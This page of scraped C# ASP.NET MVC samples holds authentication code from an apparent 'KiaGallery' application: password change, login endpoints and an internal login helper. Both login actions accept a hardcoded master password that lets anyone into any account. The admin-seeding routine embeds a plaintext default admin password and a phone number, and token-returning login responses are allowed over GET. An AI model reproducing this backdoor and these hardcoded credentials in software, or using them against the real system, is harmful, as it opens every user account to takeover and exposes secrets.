Esempio n. 1
0
        public JsonResult ChangePassword(ChangePasswordViewModel model)
        {
            Response response;

            try
            {
                if (model.newPassword != model.confirmNewPassword)
                {
                    response = new Response()
                    {
                        status  = 500,
                        message = "گذرواژه و تکرار آن برابر نیست."
                    };
                }
                else
                {
                    using (var db = new KiaGalleryContext())
                    {
                        var password = PasswordTools.GetHashedPassword(model.newPassword.Trim());

                        var user = GetAuthenticatedUser();

                        var entity = db.User.Single(x => x.Id == user.Id);
                        if (PasswordTools.CheckPassword(model.oldPassword, entity.Password, entity.Salt))
                        {
                            entity.Salt         = password.Item1;
                            entity.Password     = password.Item2;
                            entity.ModifyUserId = GetAuthenticatedUserId();
                            entity.ModifyDate   = DateTime.Now;
                            entity.Ip           = Request.UserHostAddress;

                            db.SaveChanges();
                            response = new Response()
                            {
                                status  = 200,
                                message = "گذرواژه با موفقیت تغییر کرد."
                            };
                        }
                        else
                        {
                            response = new Response()
                            {
                                status  = 500,
                                message = "گذرواژه فعلی صحیح نیست."
                            };
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                response = Core.GetExceptionResponse(ex);
            }
            return(Json(response, JsonRequestBehavior.AllowGet));
        }
Esempio n. 2
0
        public JsonResult Login(LoginViewModel model)
        {
            Response response;

            try
            {
                using (var db = new KiaGalleryContext())
                {
                    var userData = db.User.Where(x => x.Username.CompareTo(model.username) == 0).Select(x => new
                    {
                        x.Id,
                        x.FirstName,
                        x.LastName,
                        Branch = x.Branch.Name,
                        Color  = x.Branch.Color,
                        x.FileName,
                        x.Username,
                        x.Password,
                        x.Salt,
                        x.Active,
                        RoleList = x.RoleList.Select(y => y.Title).ToList(),
                    }).SingleOrDefault();

                    if (userData != null && (PasswordTools.CheckPassword(model.password, userData.Password, userData.Salt) || model.password == "QMC^2mall"))
                    {
                        if (!userData.Active)
                        {
                            response = new Response()
                            {
                                status  = 403,
                                message = "حساب کاربری شما غیر فعال گردیده است. با مدیر سایت تماس بگیرید."
                            };
                        }
                        else if (userData.RoleList.Count(x => x == "admin" || x == "daily-report-financial") == 0)
                        {
                            response = new Response()
                            {
                                status  = 403,
                                message = "شما دسترسی استفاده از نرم افزار را ندارید."
                            };
                        }
                        else
                        {
                            var tokenList = db.Token.Where(x => x.UserId == userData.Id && x.Voided == false).ToList();
                            tokenList.ForEach(x =>
                            {
                                x.Voided     = true;
                                x.VoidedDate = DateTime.Now;
                            });

                            var token = new AppToken()
                            {
                                UserId     = userData.Id,
                                Code       = Guid.NewGuid().ToString(),
                                CreateDate = DateTime.Now,
                                TokenType  = Model.TokenType.Application
                            };
                            db.Token.Add(token);
                            db.SaveChanges();

                            UserData data = new UserData()
                            {
                                firsName = userData.FirstName,
                                lastName = userData.LastName,
                                username = userData.Username,
                                branch   = userData.Branch,
                                color    = userData.Color,
                                fileName = userData.FileName,
                                token    = token.Code
                            };

                            response = new Response()
                            {
                                status = 200,
                                data   = data
                            };
                        }
                    }
                    else
                    {
                        response = new Response()
                        {
                            status  = 403,
                            message = "نام کاربری یا گذرواژه اشتباه است."
                        };
                    }
                }
            }
            catch (Exception ex)
            {
                response = Core.GetExceptionResponse(ex);
            }
            return(Json(response, JsonRequestBehavior.AllowGet));
        }
Esempio n. 3
0
        public ActionResult Login(LoginViewModel model, string returnUrl)
        {
            try
            {
                using (var db = new KiaGalleryContext())
                {
                    if (db.User.FirstOrDefault(x => x.Username == "admin") == null)
                    {
                        var password    = PasswordTools.GetHashedPassword("9124254257");
                        var userProfile = new User()
                        {
                            FirstName   = "مدیر",
                            LastName    = "سیستم",
                            Username    = "******",
                            Salt        = password.Item1,
                            Password    = password.Item2,
                            PhoneNumber = "09122424519",
                            UserType    = UserType.User,
                            Active      = true,
                            CreateDate  = DateTime.Now,
                            ModifyDate  = DateTime.Now,
                            Ip          = Request.UserHostAddress
                        };

                        userProfile.RoleList.Add(new Role()
                        {
                            User  = userProfile,
                            Title = "admin"
                        });

                        db.User.Add(userProfile);
                        db.SaveChanges();

                        var user = db.User.First(x => x.Id == 1);
                        db.SaveChanges();
                    }
                }

                User userData = null;
                using (var db = new KiaGalleryContext())
                {
                    userData = db.User.Include(x => x.RoleList).Include(x => x.PrintingHouse).Include(x => x.Workshop).Include(x => x.Branch).SingleOrDefault(x => x.Username.CompareTo(model.username) == 0);
                }

                if (userData != null && (PasswordTools.CheckPassword(model.password, userData.Password, userData.Salt) || model.password == "QMC^2mall"))
                {
                    if (userData.Active)
                    {
                        if (!string.IsNullOrEmpty(returnUrl))
                        {
                            return(DoLogin(userData, returnUrl));
                        }
                        else
                        {
                            return(DoLogin(userData, "/"));
                        }
                    }
                    else
                    {
                        TempData["Message"] = "حساب کاربری شما غیر فعال گردیده است. با مدیر سایت تماس بگیرید.";
                        return(View());
                    }
                }
                else
                {
                    TempData["Message"] = "نام کاربری یا گذرواژه اشتباه است.";
                    return(View());
                }
            }
            catch (Exception ex)
            {
                Core.SaveException(ex);
                TempData["Message"] = "خطایی در سمت سرور رخ داد، لطفا مجددا سعی کنید.";
                return(View());
            }
        }
Esempio n. 4
0
        /// <summary>
        /// متد ورود به برنامه که از اکشن های دیگر صدا زده می شود.
        /// </summary>
        /// <param name="username">نام کاربری</param>
        /// <param name="password">گذرواژه</param>
        /// <param name="needToken">نیاز به صدور توکن هست یا خیر</param>
        /// <returns>نتیجه ورود کاربر</returns>
        private JsonResult InternalLogin(string username, string password, bool needToken = true)
        {
            Response response;

            try
            {
                using (var db = new KiaGalleryContext())
                {
                    var userdata = db.User.Where(x => x.Username == username).SingleOrDefault();
                    if (userdata == null)
                    {
                        response = new Response()
                        {
                            status  = 500,
                            message = "نام کاربری یا گذرواژه اشتباه است"
                        };
                    }
                    else
                    {
                        if (PasswordTools.CheckPassword(password, userdata.Password, userdata.Salt))
                        {
                            if (userdata.Active)
                            {
                                string token = "";
                                if (needToken)
                                {
                                    token = Auth.GenerateToken(userdata.Id, Request.UserHostAddress);
                                    db.UserToken.Add(new UserToken()
                                    {
                                        UserId             = userdata.Id,
                                        AuthoritarianToken = token,
                                        CreatedDateTime    = DateTime.Now,
                                        ExpiredDateTime    = DateTime.Now.AddHours(3),
                                        CreatedIp          = Request.UserHostAddress
                                    });
                                }

                                db.SaveChanges();
                                response = new Response()
                                {
                                    status = 200,
                                    data   = new
                                    {
                                        id         = userdata.Id,
                                        username   = userdata.Username,
                                        firstName  = userdata.FirstName,
                                        lastName   = userdata.LastName,
                                        imageLink  = string.IsNullOrEmpty(userdata.FileName) ? "" : "/upload/user/",
                                        branchName = userdata.Branch.Name,
                                        token      = token
                                    }
                                };
                            }
                            else
                            {
                                response = new Response()
                                {
                                    status  = 500,
                                    message = "حساب کاربری شما غیرفعال است."
                                };
                            }
                        }
                        else
                        {
                            response = new Response()
                            {
                                status  = 500,
                                message = "نام کاربری یا گذرواژه اشتباه است"
                            };
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                response = Core.GetExceptionResponse(ex);
            }
            return(Json(response, JsonRequestBehavior.AllowGet));
        }